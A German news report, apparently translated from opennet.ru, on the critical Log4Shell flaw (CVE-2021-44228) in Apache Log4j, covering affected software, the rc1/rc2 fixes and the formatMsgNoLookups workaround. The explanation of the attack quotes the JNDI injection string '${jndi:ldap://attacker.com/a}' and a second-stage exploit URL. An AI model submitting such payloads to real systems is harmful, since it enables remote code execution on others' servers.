In Apache Log4j, einem beliebten Framework zur Protokollierung in Java-Anwendungen, wurde eine kritische Schwachstelle entdeckt, die es ermöglicht, willkürlichen Code auszuführen, wenn speziell formatierten Werte im Format „{jndi:URL}“ in das Protokoll geschrieben werden. Angriffe können auf Java-Anwendungen durchgeführt werden, die Werte aus externen Quellen protokollieren, wie zum Beispiel bei der Ausgabe problematischer Werte in Fehlermeldungen.
Es wird festgestellt, dass fast alle Projekte, die Frameworks wie Apache Struts, Apache Solr, Apache Druid oder Apache Flink verwenden, betroffen sind, einschließlich Steam, Apple iCloud, Minecraft-Clients und -Server. Es wird erwartet, dass die Schwachstelle zu einer Welle massiver Angriffe auf Unternehmensanwendungen führen könnte, ähnlich wie bei den kritischen Schwachstellen im Apache Struts-Framework, das schätzungsweise in 65 % der Webanwendungen von Fortune-100-Unternehmen verwendet wird. Bereits wurden Versuche zur Netzwerksuche nach verwundbaren Systemen festgestellt.
Das Problem wird dadurch verschärft, dass bereits ein funktionierender Exploit veröffentlicht wurde, aber die Patches für stabile Versionen derzeit nicht bereitgestellt sind. Eine CVE-Identifikation wurde bisher nicht zugewiesen. Der Fix ist nur in der Testversion log4j-2.15.0-rc1 enthalten. Als Workaround zum Blockieren der Verwundbarkeit wird empfohlen, den Parameter log4j2.formatMsgNoLookups auf true zu setzen.
Das Problem wurde durch die Tatsache verursacht, dass log4j die Verarbeitung spezieller Platzhalter "{}" in den in das Log ausgegebenen Strings unterstützt, in denen JNDI-Anfragen (Java Naming and Directory Interface) ausgeführt werden konnten. Der Angriff besteht darin, einen String mit dem Platzhalter "${jndi:ldap://attacker.com/a}" zu übermitteln, bei dessen Verarbeitung log4j eine der Server LDAP-Anfrage an attacker.com bezüglich des Pfads zur Java-Klasse sendet. Der zurückgegebene dem Server durch Pfad des Angreifers (zum Beispiel http://second-stage.attacker.com/Exploit.class) wird geladen und im Kontext des aktuellen Prozesses ausgeführt, was dem Angreifer ermöglicht, beliebigen Code mit den Rechten der aktuellen Anwendung im System auszuführen.
Zusatz 1: Der Verwundbarkeit wurde die ID CVE-2021-44228 zugewiesen.
Ergänzung 2: Es wurde eine Umgehungsmethode für den Schutz festgestellt, der in der Version log4j-2.15.0-rc1 hinzugefügt wurde. Ein neues Update log4j-2.15.0-rc2 mit umfassenderem Schutz gegen die Schwachstelle wird empfohlen. Im Code wird die Änderung hervorgehoben, die mit der fehlenden Notabschaltung bei Verwendung eines fehlerhaft formatierten JNDI-URLs zusammenhängt.
Quelle: opennet.ru
